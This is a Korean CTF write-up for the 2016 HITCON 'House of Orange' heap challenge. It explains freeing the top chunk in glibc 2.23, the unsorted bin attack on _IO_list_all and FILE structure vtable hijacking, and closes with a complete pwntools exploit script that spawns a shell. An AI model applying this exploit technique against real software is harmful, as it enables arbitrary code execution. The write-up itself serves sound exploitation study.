2016 hitcon house of orange
일단 문제 풀이를 들어가기 전에 알게된 것들을 정리하고자 한다.
이런 상황에서 malloc(0x10)
을 하게 되면
다음과 같은 상황이 발생한다.
물론 ubuntu 16.04 LTS glibc 2.23
기준이지만 glibc malloc
에서도 데이터가 그대로 남아있을 줄은 몰랐다..
또, unsorted bin
혹은 small bin
, large bin
에서 large bin
을 할당받았을 때, 할당과 동시에 그 자리에 fd
, bk
, fd_nextsize
, bk_nextsize
가 생성 된다.
왜 이러는지는 아직은 잘 모르겠다.
이런 상황에서 0x400
크기의 heap
을 할당하면
다음과 같이 할당과 동시에 정보들이 기록된다.. free
된 것도 아닌데 정말 신기하다.
그리고, 예전에 secretholder
랑 sleepyholder
를 풀면서 top chunk
보다 큰 크기를 할당하면 mmap
으로 할당한다고 알고 있었는데, 얘는 mmap
이 아니라 top chunk
를 free
시키고 새로운 top chunk
를 만든다.
그 이유가 궁금해서 찾아봤다.
밑에 glibc
코드를 보자.
xxxxxxxxxx
/*
If have mmap, and the request size meets the mmap threshold, and
the system supports mmap, and there are few enough currently
allocated mmapped regions, try to directly map this request
rather than expanding top.
*/
if (av == NULL
|| ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold)
&& (mp_.n_mmaps < mp_.n_mmaps_max)))
glibc 2.26 #2312 ~ #2321
nb(need byte)
가 mp_.mmap_threshold
보다 크고, mmap
할 chunk
가 최대 크기를 넘지 않으면 top chunk
를 늘리는 대신 mmap
으로 해당 chunk
를 할당한다.
여기서 mp_.mmap_threshold
를 보면
xxxxxxxxxx
glibc 2.26 #865 ~ #867
128 * 1024
, 즉 0x20000
으로 되어 있다.
때문에 이보다 낮은 크기지만, top chunk
보다 크게 할당하면 top chunk
가 free
되는 것이다.
문제에 대한 자세한 설명은 하지 않고 이 문제에서 쓰인 기법에 대해서 설명하도록 하겠다.
이 문제는 간단한 heap overflow
이다.
하지만 free
가 존재하지 않는다.
여기서 만약 top chunk(0x20fa1)
을 top chunk(0xfa1)
로 바꾼 후 0xfa1
보다 큰 chunk
를 할당하면?
top chunk
를 free
시킬 수 있다.
이걸로 free
가 없는 문제는 해결됐다.
그리고 이를 이용하여 libc
, heap
을 leak
한 후
unsorted bin attack
을 하면 되는데, _IO_list_all
변수에 attack을 할 것이다.
그 후, abort
를 내서 쉘을 따는 것이다.
malloc
의 abort
과정은 다음과 같다.
xxxxxxxxxx
1. malloc_printerr
2. __libc_message
3. abort
4. _IO_flush_all_lockp
마지막 _IO_flush_all_lockp
함수의 동작을 살펴보자.
for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)
{
run_fp = fp;
if (do_lock)
_IO_flockfile (fp);
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
)
&& _IO_OVERFLOW (fp, EOF) == EOF)
result = EOF;
if (do_lock)
_IO_funlockfile (fp);
run_fp = NULL;
}
glibc 2.21 genops.c #695 ~ #712
fp
에 _IO_list_all
의 값을 넣고
fp->_mode <= 0
fp->_IO_write_ptr > fp->_IO_write_base
혹은
_IO_vtable_offset == 0
fp->_mode <= 0
fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base
가 충족이 되면 _IO_OVERFLOW
함수를 부른다.
_IO_OVERFLOW
함수는 _IO_FILE_JUMP vtable
에 속해 있는 함수로써, 이를 바꾸면 원하는 함수를 실행시킬 수 있다.
관련된 FILE STRUCTURE
을 살펴보자.
x
/* Extra data for wide character streams. */
struct _IO_wide_data
{
wchar_t *_IO_read_ptr; /* Current read pointer */
wchar_t *_IO_read_end; /* End of get area. */
wchar_t *_IO_read_base; /* Start of putback+get area. */
wchar_t *_IO_write_base; /* Start of put area. */
wchar_t *_IO_write_ptr; /* Current put pointer. */
wchar_t *_IO_write_end; /* End of put area. */
wchar_t *_IO_buf_base; /* Start of reserve area. */
wchar_t *_IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
wchar_t *_IO_save_base; /* Pointer to start of non-current get area. */
wchar_t *_IO_backup_base; /* Pointer to first valid character of
backup area */
wchar_t *_IO_save_end; /* Pointer to end of non-current get area. */
__mbstate_t _IO_state;
__mbstate_t _IO_last_state;
struct _IO_codecvt _codecvt;
wchar_t _shortbuf[1];
const struct _IO_jump_t *_wide_vtable;
};
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
int _blksize;
int _flags2;
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */
/* temporary */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
/* char* _save_gptr; char* _save_egptr; */
_IO_lock_t *_lock;
};
struct _IO_FILE_complete
{
struct _IO_FILE _file;
_IO_off64_t _offset;
/* Wide character stream stuff. */
struct _IO_codecvt *_codecvt;
struct _IO_wide_data *_wide_data;
struct _IO_FILE *_freeres_list;
void *_freeres_buf;
void *__pad1;
void *__pad2;
void *__pad3;
void *__pad4;
size_t __pad5;
int _mode;
/* Make sure we don't get into trouble again. */
char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
};
glibc 2.23 libio.h #214 ~ #317
_IO_wide_data
, _IO_FILE
, _IO_FILE_complete
구조체이다.
여기서
fp->_mode <= 0
fp->_IO_write_ptr > fp->_IO_write_base
혹은
_IO_vtable_offset == 0
fp->_mode <= 0
fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base
위의 조건을 맞춰주도록 페이로드를 짜면 되는데, fp->_IO_write_ptr
과 fp->_IO_write_base
는 chunk
범위에 포함되어 변경하지 못하므로 밑의 조건을 맞춰 _IO_overflow
를 실행시키자.
그럼 abort
와 함께 쉘이 짜잔~
from pwn import *
e = ELF('./houseoforange')
s = process(e.path)
l = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
ru = lambda x: s.recvuntil(x)
sl = lambda x: s.sendline(x)
p = lambda : pause()
io = lambda : s.interactive()
def menu(sel):
ru('choice : ')
sl(sel)
def build(length, name, price, color):
menu('1')
ru('name :')
sl(length)
ru('Name :')
s.send(name)
ru('Orange:')
sl(price)
ru('Orange:')
sl(color)
def see():
menu('2')
def upgrade(length, name, price, color):
menu('3')
ru('name :')
sl(length)
ru('Name:')
sl(name)
ru('Orange:')
sl(price)
ru('Orange:')
sl(color)
build(str(0x10), 'n1', '1', '56746')
upgrade(str(0x1000), 'A'*0x30 + p64(0) + p64(0xfa1), '1', '56746')
build(str(4096), 'n2', '2', '56746')
build(str(0x400), 'A'*8, '3', '56746')
see()
ru('A'*8)
l_base = u64(s.recv(6).ljust(8, '\x00')) - 0x3c5188
print('l_base!: {}'.format(hex(l_base)))
_IO_list_all = l_base + l.symbols['_IO_list_all']
system = l_base + l.symbols['system']
upgrade(str(0x10), 'A'*16, '1', '56746')
see()
ru('A'*16)
heap = u64(s.recv(6).ljust(8, '\x00'))
print('heap!: {}'.format(hex(heap)))
wide_data = heap + 0x560
vtable = heap + 0x550
pay = 'A'*0x420
pay += "/bin/sh\00" + p64(0x61)
pay += p64(0x12345678) + p64(_IO_list_all - 0x10)
pay = pay.ljust(0x420 + 0xa0, '\x00')
pay += p64(wide_data) # _IO_wide_data
pay = pay.ljust(0x420 + 0xc0, '\x00')
pay += p64(1)
pay = pay.ljust(0x420 + 0xd8, '\x00')
pay += p64(vtable) # _IO_jump_t
pay += p64(0)*11
pay += p64(system)
pay += p64(0)
pay += p64(1)
pay += p64(2)
upgrade(str(0x1000), pay, '1', '56746')
sl('1')
io()
'system > writeup' 카테고리의 다른 글
trustctf 2019 start (2) | 2019.02.15 |
---|---|
trustctf 2019 로꾸꺼 (3) | 2019.02.15 |
pwnable.tw babystack (0) | 2019.02.11 |
pwnable.tw death note (0) | 2019.02.10 |
pwnable.tw starbound (0) | 2019.02.10 |